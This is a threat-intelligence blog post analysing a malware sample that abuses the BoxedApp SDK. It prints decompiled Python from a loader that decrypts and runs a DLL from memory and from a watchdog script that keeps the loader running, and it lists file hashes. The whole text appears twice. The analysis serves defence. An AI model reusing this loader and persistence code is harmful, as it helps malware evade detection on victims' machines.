Unboxing the Threat: How Malicious Python Scripts Use the BoxedApp SDK to Evade Detection
Published on
Published on
Published on
Oct 1, 2024
Oct 1, 2024
Oct 1, 2024
While browsing an online forum dedicated to virus sample sharing and analysis, the Hunt Research Team encountered a zip file containing byte-compiled Python scripts, an additional zip file, and several Python 3.8 executables. Further examination revealed that these scripts leveraged the BoxedApp SDK to conceal malicious activities.
This use of the SDK's virtualization layer underscores an ongoing trend of abusing legitimate software to evade detection and hinder static and dynamic analysis.
Recently, Check Point Research identified a campaign using BoxedApp to distribute popular remote access trojans (RATs) and stealer malware, demonstrating how attackers are increasingly repurposing this legitimate tool.
In this post, we will break down the structure of the scripts and explore how BoxedApp is employed to deliver follow-on malware.
Quick Overview of BoxedApp SDK
The BoxedApp SDK is a developer library that enables the creation of a virtual environment, allowing applications to emulate files, registry entries, and processes without relying on actual system resources.
Beyond emulation, the SDK can encapsulate all necessary components---such as DLLs, ActiveX elements, and other dependencies---into a single executable. This approach allows applications to function as if these components are physically present on the host machine despite being entirely contained within a virtual layer.
For malicious actors, this virtualization offers clear advantages. It allows malware to execute directly from memory without writing files to disk, making it much harder for traditional antivirus tools to detect.
The ability to simulate registry entries also means the malware can avoid altering the actual system registry, thereby evading detection techniques that monitor system changes. This abuse of the SDK's legitimate features makes it an appealing choice for threat actors to conceal their malicious activities.
Python File Analysis
Before we discuss the Python scripts, let's review the contents of the original zip file. The archive, named 3.zip (also identified as Adobe.zip in VirusTotal), was uploaded to the forum and is potentially linked to SilverFox, a known threat actor who frequently targets users in China, particularly those attempting to download popular software.
The zip file contained various Python version 3.8 files and folders, but three specific entries stood out due to their inconsistent naming compared to the other legitimate files in the archive:
-
officehelper.py
-
scriptforge.py
-
hello.zip
Unlike the legitimate files, officehelper.py and scriptforge.py are byte-compiled, suggesting an attempt to conceal their functionality. Additionally, hello.zip is password-protected, indicating another layer of obfuscation likely intended to hamper analysis efforts.
To make the byte-compiled Python scripts readable, we enlisted the help of the Uncompyle6 project. This tool allowed us to decompile the scripts and convert them back into human-readable code, allowing us to analyze their behavior and understand how they function within the malicious workflow.
A snippet of each script, starting with officehelper.py, is below.
And scriptforge.py
officehelper.py quickly reveals its malicious intent, starting with an attempt to hide its execution window using Windows API calls, a common tactic among malware authors. The script then loads bxsdk64.dll to leverage the BoxedApp SDK, allowing it to create a virtual environment and load hello.dll directly from memory.
This approach effectively avoids detection by security tools that rely on disk-based scanning. The below snippet captures the calls to bxsdk64.BoxedAppSDK_CreateVirtualFileA to set up the virtual file for hello.dll:
dll_path = os.path.abspath("bxsdk64.dll")\ bxsdk64 = ctypes.WinDLL(dll_path)\ bxsdk64.BoxedAppSDK_SetContext.argtypes = [\ ctypes.c_char_p]\ bxsdk64.BoxedAppSDK_SetContext.restype = None\ bxsdk64.BoxedAppSDK_Init.argtypes = []\ bxsdk64.BoxedAppSDK_Init.restype = None\ bxsdk64.BoxedAppSDK_EnableOption.argtypes = [\ ctypes.c_int, ctypes.c_int]\ bxsdk64.BoxedAppSDK_EnableOption.restype = None\ bxsdk64.BoxedAppSDK_CreateVirtualFileA.argtypes = [\ ctypes.c_char_p, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint]\ bxsdk64.BoxedAppSDK_CreateVirtualFileA.restype = ctypes.c_void_p\ bxsdk64.BoxedAppSDK_Init()\ tmp_path = os.path.abspath("hello.dll")\ tmp_path_encoded = tmp_path.encode("utf-8")\ bxsdk64.BoxedAppSDK_CreateVirtualFileA(tmp_path_encoded, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
Further code analysis revealed that the script uses a hardcoded password of "nsvbdgrga" to extract hello.zip. The decryption process unpacks and executes the suspicious DLL without leaving traces on the system.
Below is a screenshot illustrating the process, where the script reads the encrypted zip file and writes the contents to the hello.dll:
read_encrypted_zip(os.path.abspath("hello.zip"), "nsvbdfrga", tmp_path)\ current_dir = os.path.dirname(os.path.abspath(__file__))\ python_executable = os.path.join(current_dir, "python_test.exe")\ script_path = os.path.join(current_dir, "scriptforge.py")\ start_process(python_executable, script_path)\ HELLO_path = os.path.abspath("hello.dll")\ hello_dll = ctypes.WinDLL(HELLO_path)\ hello_dll.StatRun.argtypes = []\ hello_dll.StatRun.restype = None\ hello_dll.StatRun()
The officehelper.py script is key in advancing the malware's infection chain by extracting and executing hello.dll. By leveraging the BoxedApp SDK, it effectively hides its operations, making it difficult for security tools to detect its presence.
This level of stealth, combined with its role in preparing the system for further payload execution, positions officehelper.py as a crucial part of the overall attack strategy."
As the previous script acts as a loader, scriptforge.py is a persistence mechanism, ensuring the malware's continued execution. The script begins by attempting to create the mutex MyUniqueMutexNamePython8866 using the check_already_running() function.
scriptforge.py serves as a watchdog for the latter script, ensuring the software's core components remain active. By checking every 8 seconds and restarting officehelper.py if necessary, a persistent loop is established that keeps the malware running on the system.
The following screenshot highlights how scriptforge.py checks the process status and relaunches the previously mentioned script.
def check_process(process_name):\ snapshot = kernel32.CreateToolhelp32Snapshot(2, 0)\ if snapshot == -1:\ raise ctypes.WinError(ctypes.get_last_error())\ pe32 = PROCESSENTRY32()\ if not kernel32.Process32First(snapshot, ctypes.byref(pe32)):\ kernel32.CloseHandle(snapshot)\ raise ctypes.WinError(ctypes.get_last_error())\ if pe32.szExeFile.decode("utf-8", errors="ignore") == process_name:\ kernel32.CloseHandle(snapshot)\ return True\ if not kernel32.Process32Next(snapshot, ctypes.byref(pe32)):\ break\ kernel32.CloseHandle(snapshot)\ return False def check_already_running(mutex_name):\ mutex = ctypes.windll.kernel32.CreateMutexW(None, True, mutex_name)\ last_error = ctypes.windll.kernel32.GetLastError()\ if last_error == ERROR_ALREADY_EXISTS:\ return True\ return False def start_process(python_executable, script_path):\ startupinfo = STARTUPINFO()\ process_information = PROCESS_INFORMATION()\ startupinfo.cb = ctypes.sizeof(startupinfo)\ startupinfo.dwFlags = STARTF_USESHOWWINDOW\ startupinfo.wShowWindow = SW_HIDE\ command_line = f'"{python_executable}" "{script_path}"'\ success = kernel32.CreateProcessW(None, command_line, None, None, False, 0, None, None, ctypes.byref(startupinfo), ctypes.byref(process_information))\ if not success:\ raise ctypes.WinError(ctypes.get_last_error())\ kernel32.CloseHandle(process_information.hProcess)\ kernel32.CloseHandle(process_information.hThread) if __name__ == "__main__":\ mutex_name = "MyUniqueMutexNamePython8866"\ if check_already_running(mutex_name):\ exit()\ current_dir = os.path.dirname(os.path.abspath(__file__))\ python_executable = os.path.join(current_dir, "pythoncopy.exe")\ script_path = os.path.join(current_dir, "officehelper.py")\ process_name = "pythoncopy.exe"\ while True:\ if not check_process(process_name):\ start_process(python_executable, script_path)\ kernel32.Sleep(8000)
In summary, scriptforge.py is an enabler for the malware's persistence, ensuring that the payload remains active and continually reinforces the execution of officehelper.py.
Unfortunately, a final verdict on the malware dropped or executed by the DLL could not be identified by either VirusTotal or Hatching Triage.
Integration of the SDK With the Scripts
The BoxedApp SDK plays a crucial role in creating a virtual environment through bxsdk64.dll, making it more difficult to detect the payload. Unlike other malware families that write files directly to disk, this virtualization technique enables the execution of malicious code entirely from memory, bypassing many standard security measures.
The two primary techniques used;
1. Virtual File Creation
The bxsdk64.dll file, a 64-bit system-level component, virtualizes hello.dll using the BoxedAppSDK_CreateVirtualFileA function. This allows hello.dll to execute as if it's present on the system, without ever being written to disk.
2. Executing the Payload from Memory
Once hello.dll is virtualized, bxsdk64.dll executes it directly from memory, utilizing the SDK's functions to run the DLL as if it were a legitimate process on the system. This execution method is particularly stealthy because it leaves minimal traces, making it difficult to detect.
By leveraging the BoxedApp SDK's legitimate features, the malware gains advanced capabilities to operate undetected. It's a sophisticated approach, utilizing virtualization to maintain persistence and evade traditional scanning methods.
Final Thoughts
The continued abuse of the BoxedApp SDK to deliver malware highlights how attackers can exploit legitimate software to bypass detection and execute their payloads with stealth. By running entirely within a virtual environment, these threats evade many conventional defense mechanisms that rely on file-based or signature-based detection. This approach demonstrates the need for more advanced detection strategies to identify malicious behavior, even when typical indicators are absent.
File Observables
File Name | SHA-256 Hash | Notes |
---|---|---|
3.zip | fa8109df69bfc045c272391b0a287e92e23767a40de9b9a9f1c3aec692a6e4aa\ | The original zip file found in the forum. Also seen in the wild as "Adobe.zip." |
scriptforge.py | 84a42aa1eafaa2ec7d10b85743adbe7fcf2f4a55beb3b36274edcab0b872b7e9 | Byte-compiled Python code used for persistence on a compromised host. |
officehelper.py | 4f4dc75447d40c43a6ae3743d442a70aa57f8299728031e2d01056ca04ba60f1 | Byte-compiled Python code extracts hello.dll from hello.zip and loads it. |
bxsdk64.dll | 538b28f4eb0c43fd892b44a53b8f968ccd93cef76f02c005b1ae1ae0733e50fb | Legitimate 64-bit version of the SDK. |
hello.zip | bf66eedcfcfa18dfa72ab81e9487a1cd009e210ab34f38dc9260568e169ffc8e | Password-protected archive containing hello.dll. |
hello.dll | e2361d2d3f547294c84c54901e5ec700100cbbfcc2aa41108e17df59e6e5a82b | C/C++ file loaded by officehelper.py and bxsdk64.dll |
While browsing an online forum dedicated to virus sample sharing and analysis, the Hunt Research Team encountered a zip file containing byte-compiled Python scripts, an additional zip file, and several Python 3.8 executables. Further examination revealed that these scripts leveraged the BoxedApp SDK to conceal malicious activities.
This use of the SDK's virtualization layer underscores an ongoing trend of abusing legitimate software to evade detection and hinder static and dynamic analysis.
Recently, Check Point Research identified a campaign using BoxedApp to distribute popular remote access trojans (RATs) and stealer malware, demonstrating how attackers are increasingly repurposing this legitimate tool.
In this post, we will break down the structure of the scripts and explore how BoxedApp is employed to deliver follow-on malware.
Quick Overview of BoxedApp SDK
The BoxedApp SDK is a developer library that enables the creation of a virtual environment, allowing applications to emulate files, registry entries, and processes without relying on actual system resources.
Beyond emulation, the SDK can encapsulate all necessary components---such as DLLs, ActiveX elements, and other dependencies---into a single executable. This approach allows applications to function as if these components are physically present on the host machine despite being entirely contained within a virtual layer.
For malicious actors, this virtualization offers clear advantages. It allows malware to execute directly from memory without writing files to disk, making it much harder for traditional antivirus tools to detect.
The ability to simulate registry entries also means the malware can avoid altering the actual system registry, thereby evading detection techniques that monitor system changes. This abuse of the SDK's legitimate features makes it an appealing choice for threat actors to conceal their malicious activities.
Python File Analysis
Before we discuss the Python scripts, let's review the contents of the original zip file. The archive, named 3.zip (also identified as Adobe.zip in VirusTotal), was uploaded to the forum and is potentially linked to SilverFox, a known threat actor who frequently targets users in China, particularly those attempting to download popular software.
The zip file contained various Python version 3.8 files and folders, but three specific entries stood out due to their inconsistent naming compared to the other legitimate files in the archive:
-
officehelper.py
-
scriptforge.py
-
hello.zip
Unlike the legitimate files, officehelper.py and scriptforge.py are byte-compiled, suggesting an attempt to conceal their functionality. Additionally, hello.zip is password-protected, indicating another layer of obfuscation likely intended to hamper analysis efforts.
To make the byte-compiled Python scripts readable, we enlisted the help of the Uncompyle6 project. This tool allowed us to decompile the scripts and convert them back into human-readable code, allowing us to analyze their behavior and understand how they function within the malicious workflow.
A snippet of each script, starting with officehelper.py, is below.
And scriptforge.py
officehelper.py quickly reveals its malicious intent, starting with an attempt to hide its execution window using Windows API calls, a common tactic among malware authors. The script then loads bxsdk64.dll to leverage the BoxedApp SDK, allowing it to create a virtual environment and load hello.dll directly from memory.
This approach effectively avoids detection by security tools that rely on disk-based scanning. The below snippet captures the calls to bxsdk64.BoxedAppSDK_CreateVirtualFileA to set up the virtual file for hello.dll:
dll_path = os.path.abspath("bxsdk64.dll")\ bxsdk64 = ctypes.WinDLL(dll_path)\ bxsdk64.BoxedAppSDK_SetContext.argtypes = [\ ctypes.c_char_p]\ bxsdk64.BoxedAppSDK_SetContext.restype = None\ bxsdk64.BoxedAppSDK_Init.argtypes = []\ bxsdk64.BoxedAppSDK_Init.restype = None\ bxsdk64.BoxedAppSDK_EnableOption.argtypes = [\ ctypes.c_int, ctypes.c_int]\ bxsdk64.BoxedAppSDK_EnableOption.restype = None\ bxsdk64.BoxedAppSDK_CreateVirtualFileA.argtypes = [\ ctypes.c_char_p, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint, ctypes.c_uint]\ bxsdk64.BoxedAppSDK_CreateVirtualFileA.restype = ctypes.c_void_p\ bxsdk64.BoxedAppSDK_Init()\ tmp_path = os.path.abspath("hello.dll")\ tmp_path_encoded = tmp_path.encode("utf-8")\ bxsdk64.BoxedAppSDK_CreateVirtualFileA(tmp_path_encoded, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0)
Further code analysis revealed that the script uses a hardcoded password of "nsvbdgrga" to extract hello.zip. The decryption process unpacks and executes the suspicious DLL without leaving traces on the system.
Below is a screenshot illustrating the process, where the script reads the encrypted zip file and writes the contents to the hello.dll:
read_encrypted_zip(os.path.abspath("hello.zip"), "nsvbdfrga", tmp_path)\ current_dir = os.path.dirname(os.path.abspath(__file__))\ python_executable = os.path.join(current_dir, "python_test.exe")\ script_path = os.path.join(current_dir, "scriptforge.py")\ start_process(python_executable, script_path)\ HELLO_path = os.path.abspath("hello.dll")\ hello_dll = ctypes.WinDLL(HELLO_path)\ hello_dll.StatRun.argtypes = []\ hello_dll.StatRun.restype = None\ hello_dll.StatRun()
The officehelper.py script is key in advancing the malware's infection chain by extracting and executing hello.dll. By leveraging the BoxedApp SDK, it effectively hides its operations, making it difficult for security tools to detect its presence.
This level of stealth, combined with its role in preparing the system for further payload execution, positions officehelper.py as a crucial part of the overall attack strategy."
As the previous script acts as a loader, scriptforge.py is a persistence mechanism, ensuring the malware's continued execution. The script begins by attempting to create the mutex MyUniqueMutexNamePython8866 using the check_already_running() function.
scriptforge.py serves as a watchdog for the latter script, ensuring the software's core components remain active. By checking every 8 seconds and restarting officehelper.py if necessary, a persistent loop is established that keeps the malware running on the system.
The following screenshot highlights how scriptforge.py checks the process status and relaunches the previously mentioned script.
def check_process(process_name):\ snapshot = kernel32.CreateToolhelp32Snapshot(2, 0)\ if snapshot == -1:\ raise ctypes.WinError(ctypes.get_last_error())\ pe32 = PROCESSENTRY32()\ if not kernel32.Process32First(snapshot, ctypes.byref(pe32)):\ kernel32.CloseHandle(snapshot)\ raise ctypes.WinError(ctypes.get_last_error())\ if pe32.szExeFile.decode("utf-8", errors="ignore") == process_name:\ kernel32.CloseHandle(snapshot)\ return True\ if not kernel32.Process32Next(snapshot, ctypes.byref(pe32)):\ break\ kernel32.CloseHandle(snapshot)\ return False def check_already_running(mutex_name):\ mutex = ctypes.windll.kernel32.CreateMutexW(None, True, mutex_name)\ last_error = ctypes.windll.kernel32.GetLastError()\ if last_error == ERROR_ALREADY_EXISTS:\ return True\ return False def start_process(python_executable, script_path):\ startupinfo = STARTUPINFO()\ process_information = PROCESS_INFORMATION()\ startupinfo.cb = ctypes.sizeof(startupinfo)\ startupinfo.dwFlags = STARTF_USESHOWWINDOW\ startupinfo.wShowWindow = SW_HIDE\ command_line = f'"{python_executable}" "{script_path}"'\ success = kernel32.CreateProcessW(None, command_line, None, None, False, 0, None, None, ctypes.byref(startupinfo), ctypes.byref(process_information))\ if not success:\ raise ctypes.WinError(ctypes.get_last_error())\ kernel32.CloseHandle(process_information.hProcess)\ kernel32.CloseHandle(process_information.hThread) if __name__ == "__main__":\ mutex_name = "MyUniqueMutexNamePython8866"\ if check_already_running(mutex_name):\ exit()\ current_dir = os.path.dirname(os.path.abspath(__file__))\ python_executable = os.path.join(current_dir, "pythoncopy.exe")\ script_path = os.path.join(current_dir, "officehelper.py")\ process_name = "pythoncopy.exe"\ while True:\ if not check_process(process_name):\ start_process(python_executable, script_path)\ kernel32.Sleep(8000)
In summary, scriptforge.py is an enabler for the malware's persistence, ensuring that the payload remains active and continually reinforces the execution of officehelper.py.
Unfortunately, a final verdict on the malware dropped or executed by the DLL could not be identified by either VirusTotal or Hatching Triage.
Integration of the SDK With the Scripts
The BoxedApp SDK plays a crucial role in creating a virtual environment through bxsdk64.dll, making it more difficult to detect the payload. Unlike other malware families that write files directly to disk, this virtualization technique enables the execution of malicious code entirely from memory, bypassing many standard security measures.
The two primary techniques used;
1. Virtual File Creation
The bxsdk64.dll file, a 64-bit system-level component, virtualizes hello.dll using the BoxedAppSDK_CreateVirtualFileA function. This allows hello.dll to execute as if it's present on the system, without ever being written to disk.
2. Executing the Payload from Memory
Once hello.dll is virtualized, bxsdk64.dll executes it directly from memory, utilizing the SDK's functions to run the DLL as if it were a legitimate process on the system. This execution method is particularly stealthy because it leaves minimal traces, making it difficult to detect.
By leveraging the BoxedApp SDK's legitimate features, the malware gains advanced capabilities to operate undetected. It's a sophisticated approach, utilizing virtualization to maintain persistence and evade traditional scanning methods.
Final Thoughts
The continued abuse of the BoxedApp SDK to deliver malware highlights how attackers can exploit legitimate software to bypass detection and execute their payloads with stealth. By running entirely within a virtual environment, these threats evade many conventional defense mechanisms that rely on file-based or signature-based detection. This approach demonstrates the need for more advanced detection strategies to identify malicious behavior, even when typical indicators are absent.
File Observables
File Name | SHA-256 Hash | Notes |
---|---|---|
3.zip | fa8109df69bfc045c272391b0a287e92e23767a40de9b9a9f1c3aec692a6e4aa\ | The original zip file found in the forum. Also seen in the wild as "Adobe.zip." |
scriptforge.py | 84a42aa1eafaa2ec7d10b85743adbe7fcf2f4a55beb3b36274edcab0b872b7e9 | Byte-compiled Python code used for persistence on a compromised host. |
officehelper.py | 4f4dc75447d40c43a6ae3743d442a70aa57f8299728031e2d01056ca04ba60f1 | Byte-compiled Python code extracts hello.dll from hello.zip and loads it. |
bxsdk64.dll | 538b28f4eb0c43fd892b44a53b8f968ccd93cef76f02c005b1ae1ae0733e50fb | Legitimate 64-bit version of the SDK. |
hello.zip | bf66eedcfcfa18dfa72ab81e9487a1cd009e210ab34f38dc9260568e169ffc8e | Password-protected archive containing hello.dll. |
hello.dll | e2361d2d3f547294c84c54901e5ec700100cbbfcc2aa41108e17df59e6e5a82b | C/C++ file loaded by officehelper.py and bxsdk64.dll |
Related Posts:
Hunt Intelligence, Inc.
Hunt Intelligence, Inc.
Hunt Intelligence, Inc.